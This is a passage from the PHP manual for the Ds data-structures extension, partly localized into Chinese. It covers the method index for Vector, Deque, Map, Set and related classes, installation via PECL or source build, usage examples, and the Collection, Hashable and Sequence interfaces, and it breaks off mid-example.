    • Ds\Vector::first — Returns the first value in the vector
    • Ds\Vector::get — Returns the value at a given index
    • Ds\Vector::insert — Inserts values at a given index
    • Ds\Vector::isEmpty — Returns whether the vector is empty
    • Ds\Vector::join — Joins all values together as a string
    • Ds\Vector::jsonSerialize — Returns a representation that can be converted to JSON
    • Ds\Vector::last — Returns the last value
    • Ds\Vector::map — Returns the result of applying a callback to each value
    • Ds\Vector::merge — Returns the result of adding all given values to the vector
    • Ds\Vector::pop — Removes and returns the last value
    • Ds\Vector::push — Adds values to the end of the vector
    • Ds\Vector::reduce — Reduces the vector to a single value using a callback function
    • Ds\Vector::remove — Removes and returns a value by index
    • Ds\Vector::reverse — Reverses the vector in-place
    • Ds\Vector::reversed — Returns a reversed copy
    • Ds\Vector::rotate — Rotates the vector by a given number of rotations
    • Ds\Vector::set — Updates a value at a given index
    • Ds\Vector::shift — Removes and returns the first value
    • Ds\Vector::slice — Returns a sub-vector of a given range
    • Ds\Vector::sort — Sorts the vector in-place
    • Ds\Vector::sorted — Returns a sorted copy
    • Ds\Vector::sum — Returns the sum of all values in the vector
    • Ds\Vector::toArray — Converts the vector to an array
    • Ds\Vector::unshift — Adds values to the front of the vector
  • Ds\Deque — The Deque class
    • Ds\Deque::allocate — Allocates enough memory for a required capacity
    • Ds\Deque::apply — Updates all values by applying a callback function to each value
    • Ds\Deque::capacity — Returns the current capacity
    • Ds\Deque::clear — Removes all values from the deque
    • Ds\Deque::__construct — Creates a new instance
    • Ds\Deque::contains — Determines if the deque contains given values
    • Ds\Deque::copy — Returns a shallow copy of the deque
    • Ds\Deque::count — Returns the number of values in the collection
    • Ds\Deque::filter — Creates a new deque using a callable to determine which values to include
    • Ds\Deque::find — Attempts to find a value's index
    • Ds\Deque::first — Returns the first value in the deque
    • Ds\Deque::get — Returns the value at a given index
    • Ds\Deque::insert — Inserts values at a given index
    • Ds\Deque::isEmpty — Returns whether the deque is empty
    • Ds\Deque::join — Joins all values together as a string
    • Ds\Deque::jsonSerialize — Returns a representation that can be converted to JSON
    • Ds\Deque::last — Returns the last value
    • Ds\Deque::map — Returns the result of applying a callback to each value
    • Ds\Deque::merge — Returns the result of adding all given values to the deque
    • Ds\Deque::pop — Removes and returns the last value
    • Ds\Deque::push — Adds values to the end of the deque
    • Ds\Deque::reduce — Reduces the deque to a single value using a callback function
    • Ds\Deque::remove — Removes and returns a value by index
    • Ds\Deque::reverse — Reverses the deque in-place
    • Ds\Deque::reversed — Returns a reversed copy
    • Ds\Deque::rotate — Rotates the deque by a given number of rotations
    • Ds\Deque::set — Updates a value at a given index
    • Ds\Deque::shift — Removes and returns the first value
    • Ds\Deque::slice — Returns a sub-deque of a given range
    • Ds\Deque::sort — Sorts the deque in-place
    • Ds\Deque::sorted — Returns a sorted copy
    • Ds\Deque::sum — Returns the sum of all values in the deque
    • Ds\Deque::toArray — Converts the deque to an array
    • Ds\Deque::unshift — Adds values to the front of the deque
  • Ds\Map — The Map class
    • Ds\Map::allocate — Allocates enough memory for a required capacity
    • Ds\Map::apply — Updates all values by applying a callback function to each value
    • Ds\Map::capacity — Returns the current capacity
    • Ds\Map::clear — Removes all values
    • Ds\Map::__construct — Creates a new instance
    • Ds\Map::copy — Returns a shallow copy of the map
    • Ds\Map::count — Returns the number of values in the map
    • Ds\Map::diff — Creates a new map using keys that aren't in another map
    • Ds\Map::filter — Creates a new map using a callable to determine which pairs to include
    • Ds\Map::first — Returns the first pair in the map
    • Ds\Map::get — Returns the value for a given key
    • Ds\Map::hasKey — Determines whether the map contains a given key
    • Ds\Map::hasValue — Determines whether the map contains a given value
    • Ds\Map::intersect — Creates a new map by intersecting keys with another map
    • Ds\Map::isEmpty — Returns whether the map is empty
    • Ds\Map::jsonSerialize — Returns a representation that can be converted to JSON
    • Ds\Map::keys — Returns a set of the map's keys
    • Ds\Map::ksort — Sorts the map in-place by key
    • Ds\Map::ksorted — Returns a copy, sorted by key
    • Ds\Map::last — Returns the last pair of the map
    • Ds\Map::map — Returns the result of applying a callback to each value
    • Ds\Map::merge — Returns the result of adding all given associations
    • Ds\Map::pairs — Returns a sequence containing all the pairs of the map
    • Ds\Map::put — Associates a key with a value
    • Ds\Map::putAll — Associates all key-value pairs of a traversable object or array
    • Ds\Map::reduce — Reduces the map to a single value using a callback function
    • Ds\Map::remove — Removes and returns a value by key
    • Ds\Map::reverse — Reverses the map in-place
    • Ds\Map::reversed — Returns a reversed copy
    • Ds\Map::skip — Returns the pair at a given positional index
    • Ds\Map::slice — Returns a subset of the map defined by a starting index and length
    • Ds\Map::sort — Sorts the map in-place by value
    • Ds\Map::sorted — Returns a copy, sorted by value
    • Ds\Map::sum — Returns the sum of all values in the map
    • Ds\Map::toArray — Converts the map to an array
    • Ds\Map::union — Creates a new map using values from the current instance and another map
    • Ds\Map::values — Returns a sequence of the map's values
    • Ds\Map::xor — Creates a new map using keys of either the current instance or of another map, but not of both
  • Ds\Pair — The Pair class
    • Ds\Pair::clear — Removes all values
    • Ds\Pair::__construct — Creates a new instance
    • Ds\Pair::copy — Returns a shallow copy of the pair
    • Ds\Pair::isEmpty — Returns whether the pair is empty
    • Ds\Pair::jsonSerialize — Returns a representation that can be converted to JSON
    • Ds\Pair::toArray — Converts the pair to an array
  • Ds\Set — The Set class
    • Ds\Set::add — Adds values to the set
    • Ds\Set::allocate — Allocates enough memory for a required capacity
    • Ds\Set::capacity — Returns the current capacity
    • Ds\Set::clear — Removes all values
    • Ds\Set::__construct — Creates a new instance
    • Ds\Set::contains — Determines if the set contains all values
    • Ds\Set::copy — Returns a shallow copy of the set
    • Ds\Set::count — Returns the number of values in the set
    • Ds\Set::diff — Creates a new set using values that aren't in another set
    • Ds\Set::filter — Creates a new set using a callable to determine which values to include
    • Ds\Set::first — Returns the first value in the set
    • Ds\Set::get — Returns the value at a given index
    • Ds\Set::intersect — Creates a new set by intersecting values with another set
    • Ds\Set::isEmpty — Returns whether the set is empty
    • Ds\Set::join — Joins all values together as a string
    • Ds\Set::jsonSerialize — Returns a representation that can be converted to JSON
    • Ds\Set::last — Returns the last value in the set
    • Ds\Set::merge — Returns the result of adding all given values to the set
    • Ds\Set::reduce — Reduces the set to a single value using a callback function
    • Ds\Set::remove — Removes all given values from the set
    • Ds\Set::reverse — Reverses the set in-place
    • Ds\Set::reversed — Returns a reversed copy
    • Ds\Set::slice — Returns a sub-set of a given range
    • Ds\Set::sort — Sorts the set in-place
    • Ds\Set::sorted — Returns a sorted copy
    • Ds\Set::sum — Returns the sum of all values in the set
    • Ds\Set::toArray — Converts the set to an array
    • Ds\Set::union — Creates a new set using values from the current instance and another set
    • Ds\Set::xor — Creates a new set using values in either the current instance or in another set, but not in both
  • Ds\Stack — The Stack class
    • Ds\Stack::allocate — Allocates enough memory for a required capacity
    • Ds\Stack::capacity — Returns the current capacity
    • Ds\Stack::clear — Removes all values
    • Ds\Stack::__construct — Creates a new instance
    • Ds\Stack::copy — Returns a shallow copy of the stack
    • Ds\Stack::count — Returns the number of values in the stack
    • Ds\Stack::isEmpty — Returns whether the stack is empty
    • Ds\Stack::jsonSerialize — Returns a representation that can be converted to JSON
    • Ds\Stack::peek — Returns the value at the top of the stack
    • Ds\Stack::pop — Removes and returns the value at the top of the stack
    • Ds\Stack::push — Pushes values onto the stack
    • Ds\Stack::toArray — Converts the stack to an array
  • Ds\Queue — The Queue class
    • Ds\Queue::allocate — Allocates enough memory for a required capacity
    • Ds\Queue::capacity — Returns the current capacity
    • Ds\Queue::clear — Removes all values
    • Ds\Queue::__construct — Creates a new instance
    • Ds\Queue::copy — Returns a shallow copy of the queue
    • Ds\Queue::count — Returns the number of values in the queue
    • Ds\Queue::isEmpty — Returns whether the queue is empty
    • Ds\Queue::jsonSerialize — Returns a representation that can be converted to JSON
    • Ds\Queue::peek — Returns the value at the front of the queue
    • Ds\Queue::pop — Removes and returns the value at the front of the queue
    • Ds\Queue::push — Pushes values into the queue
    • Ds\Queue::toArray — Converts the queue to an array
  • Ds\PriorityQueue — The PriorityQueue class
    • Ds\PriorityQueue::allocate — Allocates enough memory for a required capacity
    • Ds\PriorityQueue::capacity — Returns the current capacity
    • Ds\PriorityQueue::clear — Removes all values
    • Ds\PriorityQueue::__construct — Creates a new instance
    • Ds\PriorityQueue::copy — Returns a shallow copy of the queue
    • Ds\PriorityQueue::count — Returns the number of values in the queue
    • Ds\PriorityQueue::isEmpty — Returns whether the queue is empty
    • Ds\PriorityQueue::jsonSerialize — Returns a representation that can be converted to JSON
    • Ds\PriorityQueue::peek — Returns the value at the front of the queue
    • Ds\PriorityQueue::pop — Removes and returns the value with the highest priority
    • Ds\PriorityQueue::push — Pushes values into the queue
    • Ds\PriorityQueue::toArray — Converts the queue to an array

User Contributed Notes

There are no user contributed notes for this page.


简介

PHP7高效的数据结构，可以作为 array 的替代.

点击 » 博客帖子 查看 基准，讨论和常见问题。

User Contributed Notes

immemosol 07-Feb-2022 02:36
A summary of the namespace.

Known big O notations

ClassName     | add  | contains | get       | hasKey | insert | pop  | push | put  | remove | set  | shift | unshift |
Vector        | _    | ?        | O(1)      | _      | O(n)   | O(1) | O(1) | _    | O(n)   | O(1) | O(n)  | O(n)    |
Stack         | _    | _        | _         | _      | _      | ?    | _    | _    | _      | _    | _     | _       |
Set           | O(1) | O(1)     | O(n OR 1) | _      | _      | _    | _    | _    | O(1)   | _    | _     | _       |
Queue         | _    | _        | _         | _      | _      | ?    | ?    | _    | _      | _    | _     | _       |
PriorityQueue | _    | _        | _         | _      | _      | ?    | ?    | _    | _      | _    | _     | _       |
Map           | _    | _        | O(1)      | O(1)   | _      | _    | _    | O(1) | O(1)   | _    | _     | _       |
Deque         | _    | ?        | O(1)      | ?      | ?      | O(1) | O(1) | _    | ?      | O(1) | O(1)  | O(1)    |

? = method is available and big O is unknown.
_ = method is unavailable, although comparable behavior could be available
      For example: `$object[] = '';` as an alternative to `$object->push('');`.

Except for PriorityQueue, all other classes
(Deque, Map, Queue, Set, Stack, Vector) implement ArrayAccess,

Main:
- interface Sequence: Collection + ArrayAccess
- interface Collection: Traversable, Countable, JsonSerializable
- Vector: Sequential structure, low memory usage
- Stack: Destructive Iteration; LIFO (Last In, First Out)
    note: can only access the item at the top of the stack
- Set: Hashable, Unique Values
- Queue: Destructive Iteration; FIFO (First In, First Out)
    note: can only access the item at the front of the stack
- PriorityQueue: Destructive Iteration; FIFO + Priority
    Like Queue but priority determines order first, FIFO when equal priority
- Map: Hashable, Key Value Sequence (like array in comparable context)
    memory usage: like array, clears memory more often
    note: can use objects as keys, but that inhibits array conversion
- Deque: Double Ended Queue, low memory usage
    note: buffer capacity must be ^2 (a power of 2)

Supporting:
- interface Hashable: allows objects to be used as keys (`->hash()` & `->equals()`, falls back to `spl_object_hash()`)
- class Pair: JsonSerializable, Key Value Pair, used by Map
- and some more.


需求

PHP 7 is required by both the extension and the compatibility polyfill.

User Contributed Notes

There are no user contributed notes for this page.


安装

The easiest way to install the extension is via » PECL

pecl install ds

You can also build directly from source:

# Dependencies you might need to install
# sudo apt-get install git build-essential php7.0-dev

git clone https://github.com/php-ds/extension "php-ds"
cd php-ds

# Build and install the extension
phpize
./configure
make
make install

# Clean up the build files
make clean
phpize --clean

If you're on Windows, you can » download a compiled .dll on PECL

Note:

If you're using Composer, it's highly recommended that you include » php-ds/php-ds in your project so that your code is still functional in an environment where the extension is not installed. The extension will take priority if installed.

User Contributed Notes

og at crossmediapool dot at 12-Nov-2023 11:12
On Debian & ubuntu also avaliable via APT system:
ex: apt install php8.1-ds
sirolad at yahoo dot com 17-Mar-2017 03:54
You can install using brew install homebrew/php/php71-ds on macOs
yyb8 at vip dot qq dot com 12-Jan-2017 05:38
Note: please load this extension after json extension,otherwise can't   load this extension.


示例

Example #1 Vector

<?php

$vector = new \Ds\Vector();

$vector->push('a');
$vector->push('b', 'c');

$vector[] = 'd';

print_r($vector);

?>

以上示例的输出类似于：

Ds\Vector Object
(
    [0] => a
    [1] => b
    [2] => c
    [3] => d
)

Example #2 Map

<?php

$map = new \Ds\Map();

$map->put('a', 1);
$map->put('b', 2);

$map['c'] = 3;

print_r($map);

?>

以上示例的输出类似于：

Ds\Map Object
(
    [0] => Ds\Pair Object
        (
            [key] => a
            [value] => 1
        )

    [1] => Ds\Pair Object
        (
            [key] => b
            [value] => 2
        )

    [2] => Ds\Pair Object
        (
            [key] => c
            [value] => 3
        )

)

User Contributed Notes

There are no user contributed notes for this page.


The Collection interface

(PECL ds >= 1.0.0)

简介

Collection is the base interface which covers functionality common to all the data structures in this library. It guarantees that all structures are traversable, countable, and can be converted to json using json_encode().

接口摘要

interface Ds\Collection extends Countable, IteratorAggregate, JsonSerializable {
/* 方法 */
public clear(): void
public copy(): Ds\Collection
public isEmpty(): bool
public toArray(): array
/* 继承的方法 */
public Countable::count(): int
public IteratorAggregate::getIterator(): Traversable
public JsonSerializable::jsonSerialize(): mixed
}

更新日志

版本 | 说明
PECL ds 1.4.0 | Collection implements IteratorAggregate now instead of just Traversable. (This change came to the polyfill in 1.4.1.)

Table of Contents

  • Ds\Collection::clear — Removes all values
  • Ds\Collection::copy — Returns a shallow copy of the collection
  • Ds\Collection::isEmpty — Returns whether the collection is empty
  • Ds\Collection::toArray — Converts the collection to an array

User Contributed Notes

depakin at yisangwu dot com 25-Mar-2020 06:07
// Collection
   $collection_a = new \Ds\Vector([1, 2, 3]);
   $collection_b = new \Ds\Vector();

   var_dump($collection_a, $collection_b);
    /*
        object(Ds\Vector)[1]
        public 0 => int 1
        public 1 => int 2
        public 2 => int 3

        object(Ds\Vector)[2]
    */

   //json_encode
   var_dump( json_encode($collection_a));
    /*
    string '[1,2,3]
    */

    //count
   var_dump(count($collection_a));
    /*
    int 3
    */

    // serialize
    var_dump(serialize($collection_a));
    /*
    string 'C:9:"Ds\Vector":12:{i:1;i:2;i:3;}'
    */

    // foreach
    foreach ($collection_a as $key => $value) {
       echo $key ,'--', $value, PHP_EOL;
    }
    /*
       0--1
       1--2
       2--3
     */

    // clone
    $clone = clone($collection_a);
    var_dump($clone);
    /*
      object(Ds\Vector)[1]
      public 0 => int 1
      public 1 => int 2
      public 2 => int 3
    */

    // push
    $clone->push('aa');
    var_dump($clone);
    /*
    object(Ds\Vector)[3]
      public 0 => int 1
      public 1 => int 2
      public 2 => int 3
      public 3 => string 'aa' (length=2)
     */

   // isEmpty
   var_dump($collection_a->isEmpty(), $collection_b->isEmpty());
    /*
    boolean false
    boolean true
     */

   // toArray
   var_dump($collection_a->toArray(), $collection_b->toArray());
    /*
     array (size=3)
      0 => int 1
      1 => int 2
      2 => int 3

    array (size=0)
      empty
    */

   // copy ( void )
   //浅拷贝， shallow copy
   $collection_c = $collection_a->copy();

   var_dump($collection_c);
    /*
    object(Ds\Vector)[3]
      public 0 => int 1
      public 1 => int 2
      public 2 => int 3
    */

   $collection_c->push(4);
   var_dump($collection_a, $collection_c);
    /*
    object(Ds\Vector)[1]
      public 0 => int 1
      public 1 => int 2
      public 2 => int 3

    object(Ds\Vector)[3]
      public 0 => int 1
      public 1 => int 2
      public 2 => int 3
      public 3 => int 4
    */

    // clear
    $collection_a->clear();
    $collection_b->clear();
    $collection_c->clear();

    var_dump($collection_a, $collection_b, $collection_c);
    /*
    object(Ds\Vector)[1]
    object(Ds\Vector)[2]
    object(Ds\Vector)[3]
    */


Removes all values

  • ? Ds\Collection
  • Ds\Collection::copy ?
  • PHP Manual
  • Ds\Collection
  • Removes all values

Ds\Collection::clear

(PECL ds >= 1.0.0)

Ds\Collection::clear — Removes all values

说明

public Ds\Collection::clear(): void

Removes all values from the collection.

参数

此函数没有参数。

返回值

没有返回值。

示例

Example #1 Ds\Collection::clear() example

<?php
$collection = new \Ds\Vector([1, 2, 3]);
print_r($collection);

$collection->clear();
print_r($collection);
?>

以上示例的输出类似于：

Ds\Vector Object
(
    [0] => 1
    [1] => 2
    [2] => 3
)
Ds\Vector Object
(
)

User Contributed Notes

There are no user contributed notes for this page.


Returns a shallow copy of the collection

  • ? Ds\Collection::clear
  • Ds\Collection::isEmpty ?
  • PHP Manual
  • Ds\Collection
  • Returns a shallow copy of the collection

Ds\Collection::copy

(PECL ds >= 1.0.0)

Ds\Collection::copy — Returns a shallow copy of the collection

说明

public Ds\Collection::copy(): Ds\Collection

Returns a shallow copy of the collection.

参数

此函数没有参数。

返回值

Returns a shallow copy of the collection.

示例

Example #1 Ds\Collection::copy() example

<?php
$a = new \Ds\Vector([1, 2, 3]);
$b = $a->copy();

$b->push(4);

print_r($a);
print_r($b);
?>

以上示例的输出类似于：

Ds\Vector Object
(
    [0] => 1
    [1] => 2
    [2] => 3
)
Ds\Vector Object
(
    [0] => 1
    [1] => 2
    [2] => 3
    [3] => 4
)

User Contributed Notes

There are no user contributed notes for this page.


Returns whether the collection is empty

  • ? Ds\Collection::copy
  • Ds\Collection::toArray ?
  • PHP Manual
  • Ds\Collection
  • Returns whether the collection is empty

Ds\Collection::isEmpty

(PECL ds >= 1.0.0)

Ds\Collection::isEmpty — Returns whether the collection is empty

说明

public Ds\Collection::isEmpty(): bool

Returns whether the collection is empty.

参数

此函数没有参数。

返回值

Returns true if the collection is empty, false otherwise.

示例

Example #1 Ds\Collection::isEmpty() example

<?php
$a = new \Ds\Vector([1, 2, 3]);
$b = new \Ds\Vector();

var_dump($a->isEmpty());
var_dump($b->isEmpty());
?>

以上示例的输出类似于：

bool(false)
bool(true)

User Contributed Notes

There are no user contributed notes for this page.


Converts the collection to an array

  • ? Ds\Collection::isEmpty
  • Ds\Hashable ?
  • PHP Manual
  • Ds\Collection
  • Converts the collection to an array

Ds\Collection::toArray

(PECL ds >= 1.0.0)

Ds\Collection::toArray — Converts the collection to an array

说明

public Ds\Collection::toArray(): array

Converts the collection to an array.

Note:

Casting to an array is not supported yet.

参数

此函数没有参数。

返回值

An array containing all the values in the same order as the collection.

示例

Example #1 Ds\Collection::toArray() example

<?php
$collection = new \Ds\Vector([1, 2, 3]);

var_dump($collection->toArray());
?>

以上示例的输出类似于：

array(3) {
  [0]=>
  int(1)
  [1]=>
  int(2)
  [2]=>
  int(3)
}

User Contributed Notes

There are no user contributed notes for this page.


The Hashable interface

(PECL ds >= 1.0.0)

简介

Hashable is an interface which allows objects to be used as keys. It's an alternative to spl_object_hash(), which determines an object's hash based on its handle: this means that two objects that are considered equal by an implicit definition would not treated as equal because they are not the same instance.

hash() is used to return a scalar value to be used as the object's hash value, which determines where it goes in the hash table. While this value does not have to be unique, objects which are equal must have the same hash value.

equals() is used to determine if two objects are equal. It's guaranteed that the comparing object will be an instance of the same class as the subject.

接口摘要

interface Ds\Hashable {
/* 方法 */
abstract public equals(object $obj): bool
abstract public hash(): mixed
}

Table of Contents

  • Ds\Hashable::equals — Determines whether an object is equal to the current instance
  • Ds\Hashable::hash — Returns a scalar value to be used as a hash value

User Contributed Notes

There are no user contributed notes for this page.


Determines whether an object is equal to the current instance

  • ? Ds\Hashable
  • Ds\Hashable::hash ?
  • PHP Manual
  • Ds\Hashable
  • Determines whether an object is equal to the current instance

Ds\Hashable::equals

(PECL ds >= 1.0.0)

Ds\Hashable::equals — Determines whether an object is equal to the current instance

说明

abstract public Ds\Hashable::equals(object $obj): bool

Determines whether another object is equal to the current instance.

This method allows objects to be used as keys in structures such as Ds\Map and Ds\Set, or any other lookup structure that honors this interface.

Note:

It's guaranteed that obj is an instance of the same class.

Caution

It's important that objects which are equal also have the same hash value. See Ds\Hashable::hash().

参数

obj

The object to compare the current instance to, which is always an instance of the same class.

返回值

true if equal, false otherwise.

User Contributed Notes

There are no user contributed notes for this page.


Returns a scalar value to be used as a hash value

  • ? Ds\Hashable::equals
  • Ds\Sequence ?
  • PHP Manual
  • Ds\Hashable
  • Returns a scalar value to be used as a hash value

Ds\Hashable::hash

(PECL ds >= 1.0.0)

Ds\Hashable::hash — Returns a scalar value to be used as a hash value

说明

abstract public Ds\Hashable::hash(): mixed

Returns a scalar value to be used as the hash value of the objects.

While the hash value does not define equality, all objects that are equal according to Ds\Hashable::equals() must have the same hash value. Hash values of equal objects don't have to be unique, for example you could just return true for all objects and nothing would break - the only implication would be that hash tables then turn into linked lists because all your objects will be hashed to the same bucket. It's therefore very important that you pick a good hash value, such as an ID or email address.

This method allows objects to be used as keys in structures such as Ds\Map and Ds\Set, or any other lookup structure that honors this interface.

Caution

Do not pick a value that might change within the object, such as a public property. Hash table lookups would fail because the hash has changed.

Caution

All objects that are equal must have the same hash value.

参数

此函数没有参数。

返回值

A scalar value to be used as this object's hash value.

示例

Example #1 Ds\Hashable::hash() example

<?php
class HashableObject implements \Ds\Hashable
{
private $name;
private $email;

public function __construct($name, $email)
{
$this->name = $name;
$this->email = $email;
}

/**
* Should return the same value for all equal objects, but doesn't have to
* be unique. This value will not be used to determine equality.
*/
public function hash()
{
return $this->email;
}

/**
* This determines equality, usually during a hash table lookup to determine
* if the bucket's key matches the lookup key. The hash has to be equal if
* the objects are equal, otherwise this determination wouldn't be reached.
*/
public function equals($obj): bool
{
return $this->name === $obj->name
&& $this->email === $obj->email;
}
}
?>

User Contributed Notes

There are no user contributed notes for this page.


The Sequence interface

(PECL ds >= 1.0.0)

简介

A Sequence describes the behaviour of values arranged in a single, linear dimension. Some languages refer to this as a "List". It's similar to an array that uses incremental integer keys, with the exception of a few characteristics:

  • Values will always be indexed as [0, 1, 2, ..., size - 1].
  • Only allowed to access values by index in the range [0, size - 1].

Use cases:

  • Wherever you would use an array as a list (not concerned with keys).
  • A more efficient alternative to SplDoublyLinkedList and SplFixedArray.

接口摘要

interface Ds\Sequence extends Ds\Collection, ArrayAccess {
/* 方法 */
abstract public allocate(int $capacity): void
abstract public apply(callable $callback): void
abstract public capacity(): int
abstract public contains(mixed ...$values): bool
abstract public filter(callable $callback = ?): Ds\Sequence
abstract public find(mixed $value): mixed
abstract public first(): mixed
abstract public get(int $index): mixed
abstract public insert(int $index, mixed ...$values): void
abstract public join(string $glue = ?): string
abstract public last(): mixed
abstract public map(callable $callback): Ds\Sequence
abstract public merge(mixed $values): Ds\Sequence
abstract public pop(): mixed
abstract public push(mixed ...$values): void
abstract public reduce(callable $callback, mixed $initial = ?): mixed
abstract public remove(int $index): mixed
abstract public reverse(): void
abstract public reversed(): Ds\Sequence
abstract public rotate(int $rotations): void
abstract public set(int $index, mixed $value): void
abstract public shift(): mixed
abstract public slice(int $index, int $length = ?): Ds\Sequence
abstract public sort(callable $comparator = ?): void
abstract public sorted(callable $comparator = ?): Ds\Sequence
abstract public sum(): int|float
abstract public unshift(mixed $values = ?): void
/* 继承的方法 */
public Ds\Collection::clear(): void
public Ds\Collection::copy(): Ds\Collection
public Ds\Collection::isEmpty(): bool
public Ds\Collection::toArray(): array
public Countable::count(): int
public IteratorAggregate::getIterator(): Traversable
public JsonSerializable::jsonSerialize(): mixed
public ArrayAccess::offsetExists(mixed $offset): bool
public ArrayAccess::offsetGet(mixed $offset): mixed
public ArrayAccess::offsetSet(mixed $offset, mixed $value): void
public ArrayAccess::offsetUnset(mixed $offset): void
}

更新日志

版本 | 说明
PECL ds 1.3.0 | The interface now extends ArrayAccess.

Table of Contents

  • Ds\Sequence::allocate — Allocates enough memory for a required capacity
  • Ds\Sequence::apply — Updates all values by applying a callback function to each value
  • Ds\Sequence::capacity — Returns the current capacity
  • Ds\Sequence::contains — Determines if the sequence contains given values
  • Ds\Sequence::filter — Creates a new sequence using a callable to determine which values to include
  • Ds\Sequence::find — Attempts to find a value's index
  • Ds\Sequence::first — Returns the first value in the sequence
  • Ds\Sequence::get — Returns the value at a given index
  • Ds\Sequence::insert — Inserts values at a given index
  • Ds\Sequence::join — Joins all values together as a string
  • Ds\Sequence::last — Returns the last value
  • Ds\Sequence::map — Returns the result of applying a callback to each value
  • Ds\Sequence::merge — Returns the result of adding all given values to the sequence
  • Ds\Sequence::pop — Removes and returns the last value
  • Ds\Sequence::push — Adds values to the end of the sequence
  • Ds\Sequence::reduce — Reduces the sequence to a single value using a callback function
  • Ds\Sequence::remove — Removes and returns a value by index
  • Ds\Sequence::reverse — Reverses the sequence in-place
  • Ds\Sequence::reversed — Returns a reversed copy
  • Ds\Sequence::rotate — Rotates the sequence by a given number of rotations
  • Ds\Sequence::set — Updates a value at a given index
  • Ds\Sequence::shift — Removes and returns the first value
  • Ds\Sequence::slice — Returns a sub-sequence of a given range
  • Ds\Sequence::sort — Sorts the sequence in-place
  • Ds\Sequence::sorted — Returns a sorted copy
  • Ds\Sequence::sum — Returns the sum of all values in the sequence
  • Ds\Sequence::unshift — Adds values to the front of the sequence

User Contributed Notes

There are no user contributed notes for this page.


Allocates enough memory for a required capacity

  • ? Ds\Sequence
  • Ds\Sequence::apply ?
  • PHP Manual
  • Ds\Sequence
  • Allocates enough memory for a required capacity

Ds\Sequence::allocate

(PECL ds >= 1.0.0)

Ds\Sequence::allocate — Allocates enough memory for a required capacity

说明

abstract public Ds\Sequence::allocate(int $capacity): void

Ensures that enough memory is allocated for a required capacity. This removes the need to reallocate the internal as values are added.

参数

capacity

The number of values for which capacity should be allocated.

Note:

Capacity will stay the same if this value is less than or equal to the current capacity.

返回值

没有返回值。

示例

Example #1 Ds\Sequence::allocate() example

<?php
$sequence = new \Ds\Vector();
var_dump($sequence->capacity());

$vector->allocate(100);
var_dump($sequence->capacity());
?>

以上示例的输出类似于：

int(10)
int(100)

User Contributed Notes

There are no user contributed notes for this page.


Updates all values by applying a callback function to each value

  • ? Ds\Sequence::allocate
  • Ds\Sequence::capacity ?
  • PHP Manual
  • Ds\Sequence
  • Updates all values by applying a callback function to each value

Ds\Sequence::apply

(PECL ds >= 1.0.0)

Ds\Sequence::apply — Updates all values by applying a callback function to each value

说明

abstract public Ds\Sequence::apply(callable $callback): void

Updates all values by applying a callback function to each value in the sequence.

参数

callback

callback(mixed $value): mixed

A callable to apply to each value in the sequence.

The callback should return what the value should be replaced by.

返回值

没有返回值。

示例

Example #1 Ds\Sequence::apply() example

<?php
$sequence = new \Ds\Sequence([1, 2, 3]);
$sequence->apply(function($value) { return $value * 2; });

print_r($sequence);
?>

以上示例的输出类似于：

Ds\Vector Object
(
    [0] => 2
    [1] => 4
    [2] => 6
)

User Contributed Notes

There are no user contributed notes for this page.


Returns the current capacity

  • ? Ds\Sequence::apply
  • Ds\Sequence::contains ?
  • PHP Manual
  • Ds\Sequence
  • Returns the current capacity

Ds\Sequence::capacity

(PECL ds >= 1.0.0)

Ds\Sequence::capacity — Returns the current capacity

说明

abstract public Ds\Sequence::capacity(): int

Returns the current capacity.

参数

此函数没有参数。

返回值

The current capacity.

示例

Example #1 Ds\Sequence::capacity() example

<?php
$sequence = new \Ds\Vector();
var_dump($sequence->capacity());

$sequence->push(...range(1, 50));
var_dump($sequence->capacity());

$sequence[] = "a";
var_dump($sequence->capacity());
?>

以上示例的输出类似于：

int(10)
int(50)
int(75)

User Contributed Notes

There are no user contributed notes for this page.


Determines if the sequence contains given values

  • ? Ds\Sequence::capacity
  • Ds\Sequence::filter ?
  • PHP Manual
  • Ds\Sequence
  • Determines if the sequence contains given values

Ds\Sequence::contains

(PECL ds >= 1.0.0)

Ds\Sequence::contains — Determines if the sequence contains given values

说明

abstract public Ds\Sequence::contains(mixed ...$values): bool

Determines if the sequence contains all values.

参数

values

Values to check.

返回值

false if any of the provided values are not in the sequence, true otherwise.

示例

Example #1 Ds\Sequence::contains() example

<?php
$sequence = new \Ds\Vector(['a', 'b', 'c', 1, 2, 3]);

var_dump($sequence->contains('a')); // true
var_dump($sequence->contains('a', 'b')); // true
var_dump($sequence->contains('c', 'd')); // false

var_dump($sequence->contains(...['c', 'b', 'a'])); // true

// Always strict
var_dump($sequence->contains(1)); // true
var_dump($sequence->contains('1')); // false

var_dump($sequece->contains(...[])); // true
?>

以上示例的输出类似于：

bool(true)
bool(true)
bool(false)
bool(true)
bool(true)
bool(false)
bool(true)

User Contributed Notes

There are no user contributed notes for this page.


Creates a new sequence using a callable to determine which values to include

  • ? Ds\Sequence::contains
  • Ds\Sequence::find ?
  • PHP Manual
  • Ds\Sequence
  • Creates a new sequence using a callable to determine which values to include

Ds\Sequence::filter

(PECL ds >= 1.0.0)

Ds\Sequence::filter — Creates a new sequence using a callable to determine which values to include

说明

abstract public Ds\Sequence::filter(callable $callback = ?): Ds\Sequence

Creates a new sequence using a callable to determine which values to include.

参数

callback

callback(mixed $value): bool

Optional callable which returns true if the value should be included, false otherwise.

If a callback is not provided, only values which are true (see converting to boolean) will be included.

返回值

A new sequence containing all the values for which either the callback returned true, or all values that convert to true if a callback was not provided.

示例

Example #1 Ds\Sequence::filter() example using callback function

<?php
$sequence = new \Ds\Vector([1, 2, 3, 4, 5]);

var_dump($sequence->filter(function($value) {
return $value % 2 == 0;
}));
?>

以上示例的输出类似于：

object(Ds\Vector)#3 (2) {
  [0]=>
  int(2)
  [1]=>
  int(4)
}

Example #2 Ds\Sequence::filter() example without a callback function

<?php
$sequence = new \Ds\Vector([0, 1, 'a', true, false]);

var_dump($sequence->filter());
?>

以上示例的输出类似于：

object(Ds\Vector)#2 (3) {
  [0]=>
  int(1)
  [1]=>
  string(1) "a"
  [2]=>
  bool(true)
}

User Contributed Notes

There are no user contributed notes for this page.


Attempts to find a value's index

  • ? Ds\Sequence::filter
  • Ds\Sequence::first ?
  • PHP Manual
  • Ds\Sequence
  • Attempts to find a value's index

Ds\Sequence::find

(PECL ds >= 1.0.0)

Ds\Sequence::find — Attempts to find a value's index

说明

abstract public Ds\Sequence::find(mixed $value): mixed

Returns the index of the value, or false if not found.

参数

value

The value to find.

返回值

The index of the value, or false if not found.

Note:

Values will be compared by value and by type.

示例

Example #1 Ds\Sequence::find() example

<?php
$sequence = new \Ds\Vector(["a", 1, true]);

